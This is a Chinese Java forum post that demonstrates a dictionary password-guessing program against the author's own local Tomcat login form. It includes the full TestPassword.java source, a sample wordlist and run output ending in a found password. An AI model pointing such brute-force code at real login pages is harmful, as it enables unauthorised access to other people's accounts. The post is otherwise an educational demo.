Java学习者论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

手机号码,快捷登录

恭喜Java学习者论坛(https://www.javaxxz.com)已经为数万Java学习者服务超过8年了!积累会员资料超过10000G+
成为本站VIP会员,下载本站10000G+会员资源,购买链接:点击进入购买VIP会员
JAVA高级面试进阶视频教程Java架构师系统进阶VIP课程

分布式高可用全栈开发微服务教程

Go语言视频零基础入门到精通

Java架构师3期(课件+源码)

Java开发全终端实战租房项目视频教程

SpringBoot2.X入门到高级使用教程

大数据培训第六期全套视频教程

深度学习(CNN RNN GAN)算法原理

Java亿级流量电商系统视频教程

互联网架构师视频教程

年薪50万Spark2.0从入门到精通

年薪50万!人工智能学习路线教程

年薪50万!大数据从入门到精通学习路线年薪50万!机器学习入门到精通视频教程
仿小米商城类app和小程序视频教程深度学习数据分析基础到实战最新黑马javaEE2.1就业课程从 0到JVM实战高手教程 MySQL入门到精通教程
查看: 375|回复: 0

[jsp学习]我也用字典探表单密码

[复制链接]
  • TA的每日心情
    开心
    2021-3-12 23:18
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-10-1 10:08:46 | 显示全部楼层 |阅读模式
    看了张剑的表单密码探嗅程序,特写一段代码验证:
    先向服务器发送一个POST请求,然后根据服务器回应的URL判断提交的用户名和密码是否正确。
        我的程序实现与张剑的不同,他用了Socket,线程和GUI。我就用URLConnection,也没有线程。仅能作测试用。

       一、    先准备一个字典文件,这里就是一个普通的文本文件english.txt啦。内容如下:

    646445
    53453553
    88887777
    44455
    test
    222
    test
    1234
    test
    258258258
      
      
      二、运行Tomcat 5.5,启动其中的web站点:http://127.0.0.1:8080/password/
    站点文件请下载。主要有三个,index.HTML(含有登录表单),check.jsp(表单验证),ok.jsp,error.jsp 三、在命令行运行探密程序,下面是运行结果:

    C:java>javac TestPassword.java C:java>java TestPassword
    Try......646445
    Try......53453553
    Try......88887777
    Try......44455
    Try......test
    OK! password=test C:java>  四、源码
    1、TestPassword.java
    1. import java.net.*;
    2. import java.io.*;
    3. import java.util.*;
    4. public class TestPassword{
    5.    public static void main(String[] args){
    6.      //猜口令用的字典
    7.      String filename="english.txt";
    8.      String currentPassword=null;
    9.      boolean success=false;
    10.      //服务器验证口令正确后的URL,当然要预先弄清楚
    11.      String successURL="http://localhost:8080/password/ok.jsp";
    12.      //服务器验证口令失败后的URL,当然要预先弄清楚
    13.      String failURL="http://localhost:8080/password/error.jsp";
    14.      String returnURL=null;
    15.      try{
    16.         BufferedReader fileReader=new BufferedReader(new FileReader(filename));
    17.       //验证表单的JSP页面的URL,当然要预先弄清楚
    18.       URL url = new URL("http://localhost:8080/password/check.jsp");
    19.       while((currentPassword=fileReader.readLine())!=null){
    20.           URLConnection connection = url.openConnection();
    21.           connection.setDoOutput(true);
    22.           connection.connect();
    23.           OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
    24.          //username与password是表单验证程序所需要的参数,从登录表单中获取,至于用户名"cwb"
    25.          //那要看你的"偷窥"的水平。
    26.       
    27.       
    28.          String formdata="username=cwb&password="+currentPassword;
    29.          System.out.println("Try......"+currentPassword);
    30.          out.write(formdata);
    31.          out.flush();
    32.            
    33.          InputStream in=connection.getInputStream();
    34.          returnURL=connection.getURL().toString();
    35.          //System.out.println(returnURL);
    36.          if(returnURL.indexOf(successURL)!=-1){
    37.          System.out.println("OK! password="+currentPassword);
    38.          success=true;
    39.          break;
    40.        }
    41.       }
    42.       
    43.      if(!success) System.out.println("geuss password failed");
    44.      
    45.    
    46.     }catch(MalformedURLException e){ System.out.println("Must enter a valid URL");
    47.     }catch(IOException e){  System.out.println("Can"t connect"); }
    48.   }
    49. }
    复制代码

      
      

      

      



                            function TempSave(ElementID)
                            {
                                    CommentsPersistDiv.setAttribute("CommentContent",document.getElementById(ElementID).value);
                                    CommentsPersistDiv.save("CommentXMLStore");
                            }
                            function Restore(ElementID)
                            {
                                    CommentsPersistDiv.load("CommentXMLStore");
                                    document.getElementById(ElementID).value=CommentsPersistDiv.getAttribute("CommentContent");
                            }
                   
                      











    源码下载:http://file.javaxxz.com/2014/10/1/100846125.zip
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|手机版|Java学习者论坛 ( 声明:本站资料整理自互联网,用于Java学习者交流学习使用,对资料版权不负任何法律责任,若有侵权请及时联系客服屏蔽删除 )

    GMT+8, 2024-5-3 14:29 , Processed in 0.467034 second(s), 46 queries .

    Powered by Discuz! X3.4

    © 2001-2017 Comsenz Inc.

    快速回复 返回顶部 返回列表